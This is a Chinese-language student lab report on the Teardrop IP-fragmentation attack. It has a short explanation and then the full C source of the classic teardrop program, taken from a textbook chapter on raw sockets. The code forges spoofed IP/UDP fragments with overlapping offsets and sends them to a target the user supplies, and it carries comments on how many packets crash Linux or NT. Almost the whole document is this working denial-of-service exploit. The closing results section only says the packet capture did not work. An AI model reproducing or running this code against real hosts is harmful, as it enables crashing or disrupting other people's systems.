Teardrop攻击是一种畸形报文攻击。原理是向攻击者发送的多个分片的IP包，由于操作系统会将分开的IP包重新组合，系统收到偏移量错误IP包然后组合，导致数据异常。
实验代码：为“网络编程技术”参考书上 “2.11 原始套接字编程”中的Teardrop代码编程。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n)  (n)
#else  
/* OpenBSD 2.1, all Linux */
#define FIX(n)  htons(n)
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000  /* More IP fragment en route */
#define IPH 0x14    /* IP header size */
#define UDPH 0x8     /* UDP header size */
#define PADDING  0x1c    /* datagram frame padding for first packet */
#define MAGIC  0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
#define COUNT 0x1      /* Linux dies with 1, NT is more stalwart and can
                        * withstand maybe 5 or 10 sometimes...  Experiment.*/
                    

void usage(u_char *);
u_long name_resolve(u_char *);
void send_frags(int, u_long, u_long, u_short, u_short);


int main(int argc, char **argv)
{
    int one = 1, count = 0, i, rip_sock;
    // 定义源地址和目的地址
    u_long src_ip = 0, dst_ip = 0;
    // 定义源端口和目的端口
    u_short src_prt = 0, dst_prt = 0;
    // 定义一个32位的IPv4地址
    struct in_addr addr;
    printf("teardrop route|daemon9\n\n");
    //创建原始套接字
    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
        fprintf(stderr, "raw socket");
        exit(1);
    }
    //设置套接字选项IP_HDRINCL
    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,
    (char *)&one, sizeof(one))< 0)
    {
        fprintf(stderr, "IP_HDRINCL");
        exit(1);
    }
    if (argc < 3)
        usage(argv[0]);
    // 设置源IP 和 目的IP
    if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
    {
        fprintf(stderr, "What the hell kind of IP address is that?\n");
        exit(1);
    }
    while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
    {
        switch (i)
        {
            case 's': // source port (should be emphemeral)
            src_prt = (u_short)atoi(optarg);
            break;
            case 't': // dest port (DNS, anyone?)
            dst_prt = (u_short)atoi(optarg);
            break;
            case 'n': // number to send
            count = atoi(optarg);
            break;
            default :
            usage(argv[0]);
            break; // NOTREACHED
        }
    }
    srandom((unsigned)(utimes("0",(time_t)0)));
    if (!src_prt) src_prt = (random() % 0xffff);
    if (!dst_prt) dst_prt = (random() % 0xffff);
    if (!count)
    count = COUNT;
    printf("Death on flaxen wings:\n");
    addr.s_addr = src_ip;
    printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);
    addr.s_addr = dst_ip;
    printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
    printf(" Amt: %5d\n", count);
    printf("[\n ");
    for (i = 0; i < count; i++)
    {
        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
        // printf("b00m ");
        usleep(500);
    }
    printf("]\n");
    return (0);
}


// 设置 IP 包的内容
void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)
{
    u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers
    u_char byte; // a byte
    // 套接字地址结构
    struct sockaddr_in sin; /* socket protocol structure */
    sin.sin_family = AF_INET;
    sin.sin_port = src_prt;
    sin.sin_addr.s_addr = dst_ip;
    packet = (u_char *)malloc(IPH + UDPH + PADDING);
    p_ptr = packet;
    flag = packet;
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
    // IP version and header length
    byte = 0x45;
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2; // IP TOS (skipped)
    // total length
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(242); // IP id
    p_ptr += 2;
    //IP frag flags and offset
    *((u_short *)p_ptr) |= FIX(IP_MF);
    p_ptr += 2;
    *((u_short *)p_ptr) = 0x40; // IP TTL
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
    // IP checksum filled in by kernel
    p_ptr += 4;
    // IP source address
    *((u_long *)p_ptr) = src_ip;
    p_ptr += 4;
    // IP destination address
    *((u_long *)p_ptr) = dst_ip;
    p_ptr += 4;
    *((u_short *)p_ptr) = htons(src_prt); // UDP source port
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(dst_prt); // UDP destination port
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(PADDING); // UDP total length
    p_ptr += 4;
    
    // 发送数据：Fake News
    *((u_short *)p_ptr) = 0x46;
    p_ptr++;
    *((u_short *)p_ptr) = 0x61;
    p_ptr++;
    *((u_short *)p_ptr) = 0x6B;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x20;
    p_ptr++;
    *((u_short *)p_ptr) = 0x4E;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x77;
    p_ptr++;
    *((u_short *)p_ptr) = 0x73;

    int i=1;
    while(i <= 56)
    {
	printf("%x\t",*flag);
	flag++;
        if(0 == i%8)
	    printf("\n");
        i++;
    }

    if (sendto(sock, packet, IPH + UDPH + PADDING, 0,
    (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
    {
        fprintf(stderr, "\nsendto");
        free(packet);
        exit(1);
    }
    // IP total length is 2 bytes into the header
    p_ptr = &packet[2];
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
    // IP offset is 6 bytes into the header
    p_ptr += 4;
    *((u_short *)p_ptr) = FIX(MAGIC);
    if (sendto(sock, packet, IPH+MAGIC+1, 0,
    (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
    {
        fprintf(stderr, "\nsendto");
        free(packet);
        exit(1);
    }
    free(packet);
}


// 获取主机信息
u_long name_resolve(u_char *host_name)
{
    struct in_addr addr;
    struct hostent *host_ent;
    if ((addr.s_addr = inet_addr(host_name)) == -1)
    {
        if (!(host_ent = gethostbyname(host_name))) return (0);
            bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
    }
    return (addr.s_addr);
}


void usage(u_char *name)
{
    fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);
    exit(0);
}

实验结果
抓包
没抓上不知道为啥。